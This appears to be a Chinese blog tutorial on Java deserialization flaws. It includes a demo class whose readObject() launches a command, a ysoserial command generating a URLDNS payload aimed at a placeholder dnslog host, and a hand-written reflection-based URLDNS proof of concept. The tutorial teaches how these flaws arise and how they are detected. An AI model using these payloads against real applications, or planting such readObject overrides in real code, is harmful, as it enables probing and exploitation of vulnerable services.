Java反序列基础知识
什么是Java序列化和反序列化?
Java序列化:
Java 提供了一种对象序列化的机制,该机制中,一个对象可以被表示为一个字节序列,该字节序列包括该对象的数据、有关对象的类型的信息和存储在对象中数据的类型。
Java反序列化:
反序列化就是将字节序列恢复为Java对象的过程。
在Java中,很多情况下我们需要去保存某一刻某个对象的信息,去进行一些操作,为了解决这个问题,就需要使用到序列化和反序列化。比如利用序列化将程序运行的对象状态以二进制形式存储于文件系统中,然后可以在另一个程序中对序列化后的对象状态数据进行反序列化恢复对象。可以有效地实现多平台之间的通信、对象持久化存储。
反序列化的条件
一个类的对象要想序列化成功,必须满足两个条件:
1、该类必须实现java.io.Serializable
接口。
2、该类的所有属性必须是可序列化的。如果有一个属性不是可序列化的,则该属性必须注明是短暂的。
如果你想知道一个Java
标准类是否是可序列化的,可以通过查看该类的文档,查看该类有没有实现java.io.Serializable
接口。
反序列化Demo
首先定义对象类Person
,包含两个参数name
和age
。
1 2 3 4 5 6 7 8 9
| package com.x2n.deserialization;
public class Person implements java.io.Serializable { public String name; public int age; public void info(){ System.out.println("Name: " + this.name+ " Age: " + this.age); } }
|
序列化
在主类中声明对象,并将对象序列化为二进制文件person.ser
保存在本地。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| public static void Serialization() throws IOException { Person p = new Person(); p.name = "John"; p.age = 22; try{ FileOutputStream fileOut = new FileOutputStream("person.ser"); ObjectOutputStream out = new ObjectOutputStream(fileOut); out.writeObject(p); out.close(); fileOut.close(); System.out.println("序列化数据成功"); }catch (Exception e){ e.printStackTrace(); } }
|
序列化成功。

可以注意序列化后的数据,其中的ac ed 00 05
是java
序列化内容的特征,其中00 05
是版本信息,base64编码后为rO0AB
反序列化
反序列化是从序列化的二进制文件person.ser
中提取出对象。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| public static void Deserialization() throws IOException { Person p = null; try { FileInputStream fileIn = new FileInputStream("person.ser"); ObjectInputStream in = new ObjectInputStream(fileIn); p = (Person) in.readObject(); in.close(); fileIn.close();
}catch (ClassNotFoundException c){ System.out.println("对象未找到"); c.printStackTrace(); return; }catch (FileNotFoundException e){ e.printStackTrace(); return; }catch (IOException e) { e.printStackTrace(); return; } System.out.println("反序列化对象成功!"); System.out.println("Name:"+p.name); System.out.println("Age:"+p.age); }
|
反序列化成功。

反序列化漏洞
漏洞成因:
1
| 序列化和反序列化本身并不存在问题。但当输入的反序列化的数据可被用户控制,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。
|
在前面的反序列化的Demo
中,我们可以了解到,在进行反序列化时会调用readObject()
方法,如果readObject()
方法被重写,重写的方法不当,就会引发漏洞出现。
反序列化漏洞Demo
定义了一个Unsafeclass
类,实现了Serializable
,重写了其中的readObject
方法。在重写的方法中,执行了弹计算器的命令,模拟存在安全问题的重写的readObject
方法。
1 2 3 4 5 6 7 8 9 10 11
| class Unsafeclass implements Serializable { public String name; private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); Runtime.getRuntime().exec("open -a Calculator"); } }
|
在main
函数中,对Unsafeclass
类进行序列化和反序列化,反序列化时读取类,触发了readObject()
方法,执行了重写方法中的恶意命令。
1 2 3 4 5 6 7
| FileInputStream fileInputStream = new FileInputStream("vul.ser"); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
Unsafeclass unsafe = (Unsafeclass) objectInputStream.readObject(); System.out.println(unsafe.name); objectInputStream.close();
|

完整代码vul.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| package com.x2n.deserialization; import java.io.*;
public class vul { public static void main(String[] args) throws IOException, ClassNotFoundException { Unsafeclass unsafeclass = new Unsafeclass(); unsafeclass.name = "hello world"; FileOutputStream fileOutputStream = new FileOutputStream("vul.ser"); ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream); objectOutputStream.writeObject(unsafeclass); objectOutputStream.close(); fileOutputStream.close();
FileInputStream fileInputStream = new FileInputStream("vul.ser"); ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream); Unsafeclass unsafe = (Unsafeclass) objectInputStream.readObject(); System.out.println(unsafe.name); objectInputStream.close();
} }
class Unsafeclass implements Serializable { public String name; private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); Runtime.getRuntime().exec("open -a Calculator"); } }
|
URLDNS链
URLDNS
是ysoserial
里面最简单的一条利用链,但URLDNS
的利用效果是只能触发一次dns
请求,而不能去执行命令。好处是,URLDNS
这条利用链并不依赖于第三方的类,而是JDK
中内置的一些类和方法。所以,它比较适合用于漏洞验证。在一些漏洞利用没有回显的时候,可以使用该链来验证漏洞是否存在。
测试URLDNS链
使用ysoserial
生成URLDNS
链的序列化文件。
1
| java -jar ./ysoserial-all.jar URLDNS http://xxx.dnslog.cn > urldns.bin
|
下面我写了一个简单的验证URLDNS链的实例URLDNS.java
。
1 2 3 4 5 6 7 8 9 10 11 12 13
| public class URLDNS { public static void Serializable(String path,Object object) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream((path))); oos.writeObject(object); } public static Object Deserialize(String path) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream((path))); return ois.readObject(); } public static void main(String[] args) throws IOException, ClassNotFoundException { Deserialize("./ysoserial/urldns.bin"); } }
|
反序列化文件。可以成功看到dnslog回显。

URLDNS链分析
代码跟踪
触发的Gadget Chain为:
1 2 3 4
| HashMap.readObject() HashMap.putVal() HashMap.hash() URL.hashCode()
|
可知,最后请求DNS
的点位于URL.hashCode()
处。对于new URL("")
跟进URL,找到其中的hashCode()
函数。

这里可知,在函数中hashCode
的值为-1
时,会进入到hashCode()
这个函数中。 跟进到这个函数中,找到了其中会触发DNS
的函数为getHostAddress()
。

这里我们已经找到了触发的点为getHostAddress()
,接下来我们要定位到触发反序列化的入口点在哪里。
根据Gadget Chain
可知,HashMap.readObject()
为入口处。如何去触发这个入口点呢?


查看Hashmap
的代码可知,其实现了Serializable
,并且重写了readObject()
函数。

在重写的readObject()
函数中,用到了putVal()
函数,其输入的参数中对key
进行了hash()
函数的处理。跟着进入到hash()
函数中。

在这里,若key
的值不为空的时候,会调用key
的hashCode()
函数。那么,如果这里的key
,就是前面的URL
的对象,那么就会触发URL
对象中的hashCode()
函数,进而对设置的url
链接发起请求,进而触发DNSlog
。
捋清楚思路
我们重新从头开始一点点捋清楚,从入口点到最后触发的函数。
当一个Java
应用存在反序列化漏洞时,通过传输一个序列化后的HashMap
数据,在这个传入的HashMap
序列化数据中,键值对中的key
的值要为URL
对象,这个URL
对象设置的url
链接就是我们的DNSlog
。当序列化后的数据,到达了Java
应用中的反序列化的入口点的时候,因为重写了readObject()
函数,会进入到重写的函数中,重写的函数中使用了hash
函数,此时key
的值不为空,为URL
对象,URL
对象会调用它的hashCode()
函数。在URL
对象的hashCode()
函数中要满足条件,即hashCode
的值要为-1
(这里可以通过反射修改),这样数据就可以流入到getHostAddress()
函数中,请求DNSlog
。
手动实现
捋清楚以后,我们尝试自己去手写一下整个poc
,不借助ysoserial
工具。
根据前面的分析可知,要完成整个流程需要下面几个条件:
- url的hashCode的值要为-1
- HashMap传入的key的值要为URL对象。
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| URL url = new URL("http://xxxx.dnslog.cn");
Field hashCode = URL.class.getDeclaredField("hashCode");
hashCode.setAccessible(true); hashCode.setInt(url,1);
HashMap<URL,Object> map = new HashMap<>(); map.put(url,null);
hashCode.setInt(url,-1);
Serializable("urldns.ser",map);
|
先生成urldns.ser
序列化的数据文件,此时URL
对象放入HashMap
时hashCode
的值不为-1
,dnslog
不会触发。最后再修改hashCode
的值为-1
,反序列化时hashCode
的值为-1
,dnslog
触发。

参考